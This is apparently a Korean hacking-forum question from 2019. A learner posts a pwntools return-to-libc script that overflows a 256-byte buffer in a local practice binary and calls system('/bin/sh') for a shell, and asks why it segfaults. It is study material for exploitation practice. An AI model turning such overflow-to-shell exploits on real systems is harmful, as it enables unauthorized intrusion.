|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1963 [복사]
RTL 기법을 pwntools 를 이용해 exploit 코드를 작성해보려고 합니다.
=== exp.py ===
from pwn import *
import os
p = process('./rtl_me')
system = 0xf7e1dd10
exit = 0xf7e10f70
ppr = 0x80484ea
shell_addr = 0xf7f5c8cf # '/bin/sh' address
payload = 'A' * 260 # buf(256) + sfp(4)
payload += p32(system)
payload += p32(exit)
payload += p32(shell_addr)
p.send(payload)
sleep(0.5)
p.interactive()
==============
문제는 exp.py를 이용하면 세그먼트 폴트가 뜨고 스크립트를 이용해 인자로 넣으면 잘 작동을 합니다.저 코드에 뭐가 문제가 있는지 모르겠습니다 .
고수님들 도와주세요 ㅠㅠ |
Hit : 1512 Date : 2019/06/07 09:45
|
1574, 
1/79 
